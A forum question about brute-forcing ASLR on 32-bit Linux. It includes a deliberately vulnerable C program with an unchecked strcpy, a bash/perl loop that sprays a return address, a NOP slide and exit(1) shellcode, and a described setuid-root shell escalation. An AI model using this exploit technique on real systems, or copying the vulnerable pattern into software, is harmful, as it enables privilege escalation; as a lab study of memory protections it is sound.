title: ASLR brute force
body: <p>I just read about Address Space Layout Randomization and I tried a <em>very</em> simple script to try to brute force it. Here is the program I used to test a few things.</p>
  
  <pre><code>#include &lt;stdio.h&gt;
  #include &lt;string.h&gt;
  
  int main (int argc, char **argv)
  {
      char buf[8];
      printf("&amp;buf = %p\n", buf);
      if (argc &gt; 1 &amp;&amp; strcpy(buf, argv[1]));
      return 0;
  }
  </code></pre>
  
  <p>I compiled it with this command:</p>
  
  <pre><code>gcc -g -fno-stack-protector -o vul vul.c
  </code></pre>
  
  <p>I made sure ASLR was enabled:</p>
  
  <pre><code>$ sysctl kernel.randomize_va_space
  kernel.randomize_va_space = 2
  </code></pre>
  
  <p>Then, I came up with this simple script:</p>
  
  <pre><code>str=`perl -e 'print "\x40\xfa\xbb\xbf"x10 \
      . "\x90"x65536                        \
      . "\x31\xc0\x40\x89\xc3\xcd\x80"'`
  
  while [ $? -ne 1 ]; do
      ./vul $str
  done
  </code></pre>
  
  <p>The format is </p>
  
  <pre><code>return address many times | 64KB NOP slide | shellcode that runs exit(1)
  </code></pre>
  
  <p>After running this script for a few seconds it exits with error code 1 as I wanted it to. I also tried other shellcodes that call execv("/bin/sh", ...) and I was successful as well.</p>
  
  <p>I find it strange that it's possible to create such a long NOP slide even after the return address. I thought ASLR was more effective, did I miss something? Is it because the address space is too small?</p>
  
  <p><strong>EDIT</strong>: I did some additional research and here is what I found:</p>
  
  <ul>
  <li><p>I asked a friend to run this code using <code>-m32 -z execstack</code> on his 64b computer and after changing the return address a bit, he had the same results.</p></li>
  <li><p>Even though I did not use <code>-z execstack</code>, I managed to execute the shellcode. I made sure of that by using different shellcodes which all did what they were supposed to do (even the well know scenario <code>chown root ./vul</code>, <code>chmod +s ./vul</code>, shellcode that runs <code>setreuid(0, 0)</code> then <code>execv("/bin/sh", ...)</code> and finally <code>whoami</code> that returns 'root' in the spawned shell).
  That is quite strange since <code>execstack -q ./vul</code> tels me the executable stack flag bit is not set. Does anyone have an idea why?</p></li>
  </ul>